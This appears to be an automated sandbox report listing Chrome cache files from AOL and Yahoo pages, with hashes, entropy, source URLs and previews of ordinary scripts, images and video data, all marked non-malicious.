Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-beacon",[],t):"object"==typeof exports?exports["wafer-beacon"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-beacon"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}funct

Chrome Cache Entry: 780

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.985902344426085
Encrypted:	false
SSDEEP:	3:YEOBHMUq5FjrLAXTF:YEOB1mBfyR
MD5:	397540897705880AAFCEB703FC2FD34E
SHA1:	6991B3D9ABD1C4CE29400836CF62B0F1E2797120
SHA-256:	BDDC210F43A5FBC974A363B67A78EB00EE0AB7AEFA1C2F6DEBD36C28BE5C4E55
SHA-512:	5FB30A51A7A55470497A6A273B81D44A37C58B0461C76527B4CB8F1372B3153EBD285412656F9496D43AFC56D3F231F09214CDC8D256A2ECD5E3E98A048496FB
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A"}

Chrome Cache Entry: 781

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.261354096358006
Encrypted:	false
SSDEEP:	24:jH3UXarYK8H71FWb1cPHMWk/sWO3t6qooue4rwo70EQep+KSP3Hx0et0jKbw5:jeZ7XWtH/sWOQUE3fQrvRNujKi
MD5:	5C1D315A44448B88A224555905737EDF
SHA1:	335D2B709487F2EA0FE3592F1205AC653DAEAB2B
SHA-256:	299FEA612BC027F01A267132EF23F25B149439861E9DB004B6AC8AF82902AB69
SHA-512:	D5A9F47C91AD5C039DE7949B13F87388D5E7DEACC7DCBB11F2F23DF5E4B75E1AB861042DEC58D9B0A6F5CD56F97FD21E31CDF732CF7E8259ECDD4ECAECE3DAD9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...............................................................................................................RRR...................................................................................................SSSSSS..............................................................................SSSRRRSSSSSS............................ct.....#.. ...6.........Y........~~~c..........&..$=............................-E...'...........V..!...........QQQ..EZ.Xk../.....L`..)..1.;Q. 9..........)A...g..222yyy............]\\......B.....EEEE?@.iz8..ppp.........TTTXTTo.........7N.s..?U......Uh.I^...8.....4.1H.........jw.............../..===x..hhh.......... ...L.....?..N.....O..V...........bbbAAA.2I...E........wvvB;<OIJ+++...___.1A......ZZZ.......@...ltRNS...G....J.U....A.......n.X.3..<...b.I$..*..{....~.$..Q..8h.....0-.w[.d3j......es.....W.#.........[&.z...J;.....IDATH.c`.......T........u....7....yxV...e.f.;./.c.O..d..Y.y.

Chrome Cache Entry: 782

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 300, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.90418322046295
Encrypted:	false
SSDEEP:	96:nZLXFHmvBf3ytyICs5OXOrjGLQ309L3eBeJVQ0PEk863VzqBVEVO9f0OKeqbChX:nZhC30QedEBOEVsIFWjEmcheq2p
MD5:	4B9E4A912420CCCB605FA46854D1E60F
SHA1:	1DA212585A283640FC5F2952B3E38A0625D3A878
SHA-256:	94171825923258FB1D430CCBB5B64FFDD5D93EF002F7DDFF4AF50686CCD9A06F
SHA-512:	FE7CFCCCD42A465139975E23BB87CF07EAA8448B1900797855F195C06A3ED4FFB474C1B47F7838785C9CD025017CEEB7E061CE392AC43DE244448540C5123D82
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,...,.....N.~G...]PLTE.Q..P..P..R..R..R....................Q..V....3h......w..$_.$a.Ex...........k..T..=p.....N...T.....IDATx..ks.:......s.!\....y$.I..~8..L...v.B.cY...$a.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.X,...b.......hP...i.+)...d.....Rl\_.^.e].`,.....1&7^E..C..j.j...........k...2\.<.....k.e={.Q...J.,de..4..=\|...d.ek...9.rk.i&X.,....a..>..p....k..E...E..C......R@.C4..g.....7O...mv....i.)c.J.6.W...a."'.x,......)..q.m...X.YN.`v....KV-xv..7..sk<+.eV@.._..a\|...\|q...\....5....Q....r....."...YV..(m...P..a.8+...A..1+.El....V..r........fC..@}.`:r....f..2.q..gw......2.-._..J.q.....t..@+....C."O...4...0o#.6..y,..;.;....Ou.....,z......'.G....L..o..8...,+..0....z]x,.%..L.....c,\|..zHy$.e...>..)N...&1.....e.O..5....au..@.....m.a..`%:2 3V.......fT.aXa.?:...X>.%....D(..`E..._.KT.i....-.:........(...m>....2..#,.....JtVu..zaY+..<..u..$..._...e%..........>.`..M[=MxjEXtt..0.0....>.....,...#.~+-..1....j

Chrome Cache Entry: 783

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 784

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	6103
Entropy (8bit):	5.899733424846049
Encrypted:	false
SSDEEP:	96:Eu9aoKx6DDe9cdbZ1bG4q9NuDbG4q9NuVm2OsDJe8mA3P+DeK5WCAmUY:Mx6e9obnGR9NuHGR9NuVmKk832fdAmH
MD5:	C471BDD0E766A12FA7E97F2D1D316C0F
SHA1:	B071F4E1C172EB226EFBBD6564FC01B79B505E30
SHA-256:	7D2E194345B3841C86D03D6F41FBDF7E99A9D23D0302D0B5A926C620104759D5
SHA-512:	D284E04D63A57EB334D0A01858A83856A8A12FBF62693D25DB88C212F4A77F3EE8152261310A84D1C6A7FD7EA4E5F6D90549AB2EAACCDAF0489044CD8CFAE415
Malicious:	false
Reputation:	low
URL:	https://video-api.yql.yahoo.com/v1/video/sapi/streams/42b897a6-9771-3329-b351-69a701a77438?ad.pubfamily=aol&srid=1130454662&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=b2be1uzt&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad.pt=home&ad.pct=aol&evp=bcp&hlspre=false&ad.plseq=1&gdpr=false&iabconsent=&usprv=1YNN&gpp=DBAA&gppSid=-1
Preview:	{"query":{"results":{"mediaObj":[{"id":"42b897a6-9771-3329-b351-69a701a77438","meta":{"attribution":"","description":"Tennessee judge blocks effort to sell Elvis Presley's former home; Prince William hosts royal summer party in the rain at Buckingham Palace; Drew Barrymore stars in new ad with her dog. (May 23)","title":"3 Things to Know: Graceland, Prince William, Barrymore","genre":"","embed_rights":true,"duration":68,"url":"https://www.yahoo.com/entertainment/3-things-know-graceland-prince-105145029.html","thumbnail":"","create_date":"2024-05-23T10:53:28Z","provider":{"provider_id":"video.associatedpressfree.com","provider_video_id":"6bdcc9b44e4944e0afb2acf2b5e6c7e6","name":"Associated Press Videos","url":"https://apnews.com/","logourl":"","publisher_id":"40b7c292-694f-3fa7-a9c4-da9146492087","provider_brand_object_ref":"e674a07f-e79a-3d27-901e-361e42dd746c"},"thumbnail_dimensions":{"width":0,"height":0},"credits":{"featured_artists":"","director":"","main_artists":"","label":""

Chrome Cache Entry: 785

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	41096
Entropy (8bit):	5.335851910190595
Encrypted:	false
SSDEEP:	384:nvWbJszU22LpxevihmkHrytxfwoGJZTy3eGzMUY8S:8JszU22GkSxfwoGJZT+eKY8S
MD5:	4162500585F7F798E383FF994958C6D8
SHA1:	3B2BDEEBE1C782FDCE3CCDAF9E737DBD08B8EF69
SHA-256:	E92248B9CC401FE9A645BB58EAEADC2B2ED40D25B0273A97810E3FD9760C50C0
SHA-512:	E734A4499117C54C489685633E50CB8EB445A3B65E364D62E7E90C2E7D7E8A8744BEBF54A203157915FB020F7B7492AB72B9F549E0FE953DC15673E17AD53111
Malicious:	false
Reputation:	low
URL:	https://ncp-gw-video.media.yahoo.com/api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage
Preview:	{"data":{"curatedVideos":{"streamInfo":{"returnedListCount":12,"requestedCount":120,"streamType":"jarvis","snippetCount":12,"queryProfile":"assetlist_single_feed","id":"JARVIS:curatedVideos:assetlist_single_feed:null","jarvisFeedName":"main","params":{"feed.main.pagination":true,"feed.main.pagination.snippet_count":12,"feed.main.dedup_uuids":"","feed.main.count":120,"feed.main.stream.asset_list.listAlias":"ymedia-alias:playlist=aolcom-homepage","feed.main.stream.asset_list.variableArr":{"streams.blacklisted.enable":[false]},"feed.main.dedup.enabled":true,"feed.main.stream.asset_list.listId":"","feed.main.filter.contentTypes":"video"},"streamName":"curatedVideos"},"listInfo":{"info":{"id":"cb43b5d0-9b51-11ea-9de6-a66d97c2b28d","title":"AOL.com Homepage Video List_122123","description":"Main PowerBaby Module on AOL.com Homepage"}},"stream":[{"content":{"id":"42b897a6-9771-3329-b351-69a701a77438","title":"3 Things to Know: Graceland, Prince William, Barrymore","description":"Tennessee jud

Chrome Cache Entry: 786

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2443
Entropy (8bit):	7.831728436688947
Encrypted:	false
SSDEEP:	48:WDTC3fetX7GoBTDCbmkdbZnjoWvfnZiycLnqWwObQ:WK3fILGoCbbS6NEW
MD5:	42286BA6D6F057D86973C9E5D55CD1B0
SHA1:	B89DE059B1C99363F91DD812E54F4704564A83AA
SHA-256:	8749FC53EB1C50CC4067BC14FB891BD9F28A5A1E0BFC9811CB6B7EA86CBB0BAD
SHA-512:	F464CEF509523D09E526322F52287EE07B4C7D0B216D668EED5B1F66CF937607A0F602879C451F8B8C5037760B0B58DC668D4E3F2B83847A4F12A9AFB6CEF8B6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL.............................................................................................................#@...#a..$A.&B.%A.+K"_../I... 5N.&C.,H.R..HqZguJYj5F[....0J.%C.'F%8Qu~....8J^.:_.Js.#@.-H:K_./J.-M"`..Ah.&D.(G7H]!\. Y.![.L[k}......1K.@f.1R!].,@Y.7["^..Mx.<bdp{w..J[pu...+GFUg.S..V.~..IXi[hu..Olv."6Oco{\iv.0P.Q}.)Iq{..,L.Dl\|...2KGWh@Pc...KZjASj...........Tdy;MdXh\|...o}.'<V......r\|.....2T&:SXfs+?W.3V.T..2L)=U.GpDTf8Kb........M]sYft1D]3G_..J........ETfDSeoy..'Ehs~BRd.Oz./>x..2DZ.(D#7R.>e;L`=Of.../C\?Qh........{..7Ja........)Eap....R`o X.....&?....Em.5W3\4.6Y.FCTkky...............gu...... 5P...q..N]lO`u.4O.3M[j~...^m.........cr..E/AWN\lz..>Ob...Gx..9;1X5J\|..@d....6V.,K./CP.,.><.ENP.,p."S.+.+HY.)!A:%H9t.!e.&5^4,R6.4E............GXn..../.A....%tRNS...`0.. ..Z...............W.....\|....bR.....IDATH..g\.Y...(......d.lBB.B.........D.HS. ...+......k^....!.............c..h..jjL...ih...x...O-lw...3.]m...S...\|......w!J...52

Chrome Cache Entry: 787

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	701248
Entropy (8bit):	7.9997072637354005
Encrypted:	true
SSDEEP:	12288:HLGR7BUlLA+KqQxKC518v0FusLpvaVddYuL71HwzpirB+XuJC59Iv2sT8bioR+w:aRkTKqdKHpvaVPXHwn2SIv/IbioT
MD5:	F4EFAE55355745DE380F513CD1549FB6
SHA1:	BF9B95064175552E37FD4B163E4CED114CD35CB8
SHA-256:	3016C0B5F145EAC4D50D2CDBC2DC210CD5D0D23B86F322AA7E6B106FD3D2F11F
SHA-512:	C8DAEC52C132478B0017917BED53C013818BB2372379924BD023370E859BD4E0808FD573FA5C725C5694D83DE78ABFD5E0CC6B93293E7E4C9180FFE2FE9F71A2
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/04cd0196-5ce1-4316-ad15-e975ff605a08/3x/segment4.ts?akamai_token=exp=1716526296~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca93689641/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=095521ed3b11d8029071ec640edef142ee576daf84f82fa84d8df638f844ee7a
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>............-o..V.%.C4.....:...C.2D.&..^N.y.O..;..........$........O...P........9......n.T_...c...sg.\|...\|...0.B.2..R....ms.=.$.=..g..]Ic....+..Q@n..a/%@l..9.Mws..D.)...../'.-...J.Q.o..-e.y.3].C..2;#gb.......X s...Z.$..r.aunV.x.T. >.............t..,.(...}... .. Qff........... q8L.Q.&y.Po....Dx.u...O....1.0...r...............v.k{...+`..X..I.....[G.B.q.....a.B.>...g.S....I. .m...47:.....v{X..I{.oGzof....T6Z.x0`G......1l....O=/.T..$..#..J%..5.w....i..sK..0)t3.[...9.x...".4@.w@`....0.......^..F=.-..c...,..o.[....v7.....NrW.Z...j\|[........L...fw_\|..6....lt.....O..j.uf..........[...8...o...wna....m'...cR.~...k.V%.z..O..!.......E.X..$.F".[P.&.(\.......<....1..f.^'^W..."B..y4.....L.8oZt..b...iu.{.>...g.\B).y.F.rv~K....X.I#..F.=.T\W.Ub8..\L.I..h....j..........<

Chrome Cache Entry: 788

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31014), with no line terminators
Category:	downloaded
Size (bytes):	31014
Entropy (8bit):	5.172214479089909
Encrypted:	false
SSDEEP:	768:cmpaSfdIena49uiQ9xYlqmIAB/I7zWGiziZn7JwDkVlzLC78eA1b6qaqYUAE7spj:cleaDFZXiziZn7J4TP
MD5:	2ED3FD24C05AADF407AB0550E217596A
SHA1:	4D3CEC0B2209C595C5A0C5AF7F357F8852E99166
SHA-256:	C06EC8BB34EBE079073AB3F7EF6F31CF891B398E4CE2EC5D5AB18503E1F1A864
SHA-512:	177374C0A882F056504D32AB749D13F96A14F0999FD3079C7129BDFD646FAEB1678D4B86809F1465A9207CC001546EF2D1AEC8CFBAE17BE3BB49E315A3B052AC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-autocomplete-1.31.8.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-autocomplete",[],t):"object"==typeof exports?exports["wafer-autocomplete"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-autocomplete"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(i){if(a[i])return a[i].exports;var r=a[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,t),r.l=!0,r.exports}var i=window.webpackJsonpwafer_wafers_wafer_autocomplete;window.webpackJsonpwafer_wafers_wafer_autocomplete=function(t,a,n){for(var o,s,l=0,u=[];l<t.length;l++)s=t[l],r[s]&&u.push(r[s][0]),r[s]=0;for(o in a)Object.prototype.hasOwnProperty.call(a,o)&&(e[o]=a[o]);for(i&&i(t,a,n);u.length;)u.shift()()};var a={},r={1:0,2:0};return t.e=function(e){function i(){s.onerror=s.onload=null,clearTimeout(l);var t=r[e];0!==t&&(t&&t[1](new Error("Loading chunk "+e+" failed.")),r[e]=void 0)}var a=r[

Chrome Cache Entry: 789

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=2&c2=1000009&c7=https%3A%2F%2Fhelp.aol.com%2F&c8=AOL%20Help&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503716444
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 790

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2553)
Category:	downloaded
Size (bytes):	23549
Entropy (8bit):	5.497269137822647
Encrypted:	false
SSDEEP:	384:kM/aDTs8RJbt81z0xObdLZNjsoSoX/KPH7T3BZJfrL2TeWNrpKyzy4dYlkWyv7+X:J/aXsMJt8x+SdLZNQtoX/KPH71TrL2TQ
MD5:	04D54855E108E62BB5D4B0F48931940D
SHA1:	D09FADCC7BAF9DEB38F01A02E7F331CB2AE4F6D6
SHA-256:	36EA295580B6AE83E3E1D6B4BDF7564AF630736A9D46E3A7E8B7AACAF96B1DCD
SHA-512:	0DFA11277B4E15C426FD0092A73BE9B6B1C7A5C2DAA3880373F54DFE6CD8A377F612F4C6F79ECBA9EDAE7D5F1DF8964E77078E10F638282C7FBEF412A54CA716
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240522/r20110914/abg_lite_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var m=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=m,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a){return a};function ca(a){m.setTimeout(()=>{throw a;},0)};var ea=aa(610401301),fa=aa(188588736);var n;const ha=m.navigator;n=ha?ha.userAgentData\|\|null:null;function ia(a){return ea?n?n.brands.some(({brand:b})=>b&&-1!=b.indexOf(a)):!1:!1}function q(a){var b;a:{if(b=m.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function r(){return ea?!!n&&0<n.brands.length:!1}function ja(){return r()?ia("Chromium"):(q("Chrome")\|\|q("CriOS"))&&!(r()?0:q("Edge"))\|\|q("Silk")};function ka(a,b){return Array.prototype.indexOf.call(a,b,void 0)};function la(a){la[" "](a);return a}la[" "]=function(){};!q("Android")\|\|ja();ja();q("Safari")&&(ja()\|\|(r()?0:q("Coast"))\|\|(r()?0:q("Opera"))\|\|(r()?0:q("Edge"))\|\|(r()?ia

Chrome Cache Entry: 791

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65484)
Category:	downloaded
Size (bytes):	184464
Entropy (8bit):	5.449610683212188
Encrypted:	false
SSDEEP:	1536:CmzNNlFchunXBo4P5/vurL73G8HbREzC1H9RrMrjbJPySO+/U+wSS60ibrLr2pmx:CmzNNlFchunXBhPh90iWglWO/
MD5:	6863CE0703CE4F482389F8A7E640E4E6
SHA1:	7554A71C742AD65ADA09C7819E853F2F71D88D52
SHA-256:	D08DEDFB38AA5AE7DEDADCAE8425F632C17CE61ABA51990D9275FB71A2B28387
SHA-512:	36FA691795A4125FC052D4A75FEAB5B83059676B66C8D927E28EE56AC66B0BFA73021CB26C66953E49C3BDE0D41005D67D6F15D26AD8DA6140C5153EB9488390
Malicious:	false
Reputation:	low
URL:	https://consent.cmp.oath.com/version/6.4.1/cmp.js
Preview:	/! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /.!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}e.exports=function(){for(var e,n,r=[],i=window,o=i;o;){try{if(o.frames.__tcfapiLocator){e=o;break}}catch(e){}if(o===i.top)break;o=o.parent}e\|\|(function e(){var t=i.document,n=!!i.frames.__tcfapiLocator;if(!n)if(t.body){var r=t.createElement("iframe");r.style.cssText="display:none",r.name="__tcfapiLocator",t.body.appendChild(r)}else setTimeout(e,5);return!n}(),i.__tcfapi=function(){for(var e=arguments.length,t=new Array(e),i=0;i<e;i++)t[i]=arguments[i];if(!t.length)return r;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolean"==typeof t[3]&&(n=t[3],"function"==typeof t[2]&&t[2]("set",!0)):"ping"===t[0]?"function"==typeof t[2]&&t[2]({gdprApplies:n,c

Chrome Cache Entry: 792

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1896
Entropy (8bit):	5.123813351015968
Encrypted:	false
SSDEEP:	48:/52mKJG+L7P2m//ZILyFLSLVFL1DH/IAn25PHtCaBHtQFL0y:HA//ZCDu5PVwj
MD5:	3DAA5CC631CB08EB9214C55B101FA701
SHA1:	6CD639414020CD7FB82BB3FDBB5E4B5ABD037706
SHA-256:	4B7C7844DAFDD72901E3C0238497B091484E6C80432037F99CF26C32FC03D29B
SHA-512:	CA676B32D18CD44C6BE3C41FD596C348227401C70E29084E98F25B6DAAAF615AB3E1E4D0D092DC1EEEB55177841CA992B1310BCEC8F7A86375205622C8822350
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/images/weather/small/28-mostly-cloudy-day.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M21 32C28.1797 32 34 26.1797 34 19C34 11.8203 28.1797 6 21 6C13.8203 6 8 11.8203 8 19C8 26.1797 13.8203 32 21 32Z" fill="url(#paint0_linear_104_540)"/>.<path opacity="0.465658" d="M21 32C28.1797 32 34 26.1797 34 19C34 14.8229 25.8402 16.6471 22.7785 14.2688C22.7785 14.2688 8.24533 21.5264 8.24533 21.5264C9.42125 27.4969 14.6848 32 21 32Z" fill="url(#paint1_linear_104_540)"/>.<path d="M46 27.2308C46 35.6923 39.2308 42.4615 30.7692 42.4615H11.3077C6.23077 42.4615 2 38.2308 2 33.1538C2 28.0769 6.23077 23.8462 11.3077 23.8462C12.8308 23.8462 14.3538 24.1846 15.7077 25.0308C16.8923 17.5846 23.1538 12 30.7692 12C39.2308 12 46 18.7692 46 27.2308Z" fill="url(#paint2_linear_104_540)"/>.<path d="M46 27.2308C46 35.6923 39.2308 42.4615 30.7692 42.4615H11.3077C6.23077 42.4615 2 38.2308 2 33.1538C2 28.0769 6.23077 23.8462 11.3077 23.8462C12.8308 23.8462 14.3538 24.1846 15.7077 25.0308C16.8923 17.

Chrome Cache Entry: 793

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	15071
Entropy (8bit):	7.964403166034347
Encrypted:	false
SSDEEP:	384:6m77uTg6U7DTTsIIDE4i24GE3MUwYkfptWYwJoZ0c/exvbsAu:Pu86UPTTsIIA4TkcU9kfuY0SdexbJu
MD5:	B67482F40483434D12CEDA5005C24F2D
SHA1:	96D8ACCD0018D1534F870C12E498A5F8F1728B18
SHA-256:	547165654DA70A9162A0ED6E5761E9208B066AC5BEAED889C5F059EAE3979550
SHA-512:	7219E128B37E4F82F197FC3D7E6BB7C20E1E5A3E6B17BAAFF501F13B124A6A8D535B54518211862E568788AAAB629167358901CD3A6E204D88D12AC4B54F613D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_moneywise_380%2Faf9a31a3dd512cf9b86e4fb99c46d159&client=76f99bdb8f78cd44cc0b&signature=e1bfd95079bd35341712994f48484b84163a55ee
Preview:	......JFIF...........................................%......%!(!.!(!;/))/;E:7:ESJJSici................................%......%!(!.!(!;/))/;E:7:ESJJSici.........,.,.."..........4....................................................................vQ.x-.:.cbR......RX='...A..8.KC..3..6._..[.K.lG...ek.....9~........@._i......b.}.....O......B...}%.7.uy..~[....<.A.....3..\..Me......)..X...H..^.?0...4..>....>0...ZD.0..J.wn`.. z..5..T.Wd..-.d.e.`.S...x..6.W..\|BI......J{Ws.q0../..eU&1..3....-.Ug....+..G.J.4....n.n+.}.4...y.]=.gj..m.W2X_...dQ......)..e......c..k.q.Y!..7...e(.m..D..]f..t.....GIu...i.r;NS..\.{.h.V.@$lH..!.....>zU/H..Z..k..-.^4.......v%M...rbxX....NM.E...5.33+..$\|FW.m.,~..MJ..3..XId...nc.].d.[N.)...'...z2\...l.F.,m..3j.*..)s%&.w.M........d.f..~J...zv...].4H...h_>C/..v..[...,...zVi.?N5K...L...t..[M].....0..&.@....rL....6....}Y...:...?.T.[.....K..=.T..!.\.=.Wb'.d_+I.5Tn.f.Nb.s...L.B?V=...)..s`..g,.....-.z9Vk.d..c4..p.>.Q.z}xD..-..i................

Chrome Cache Entry: 794

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 795

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24011), with no line terminators
Category:	downloaded
Size (bytes):	24011
Entropy (8bit):	5.814361417894179
Encrypted:	false
SSDEEP:	384:9SlNjjOSgNjuYn30XuFMOpAuXKgS7QhQo+Hc0W3y7T5EnvvBiEOaij:9mjOpuYn3/M3o+HpF5Evo
MD5:	B2130FEA81A95452CA26FA455C99A3B7
SHA1:	F3E24B29ECF866DD39A460E9D9FA2A83C6460D27
SHA-256:	54645ACCC8D7DB6479FB67E79E57BCF202C200A4B68A312152BB0E29E55DE60E
SHA-512:	78DCB7F2F4341F81B9288B06778070991DF4B41C3BBB01B66439AADA4F44F56958EE5CC17ABEC07E4FAFC876F986D4CC043D1C9CC09C2C4D24E9F23474F80C43
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/rx/ev/builds/1.6.29/bcplayer.css
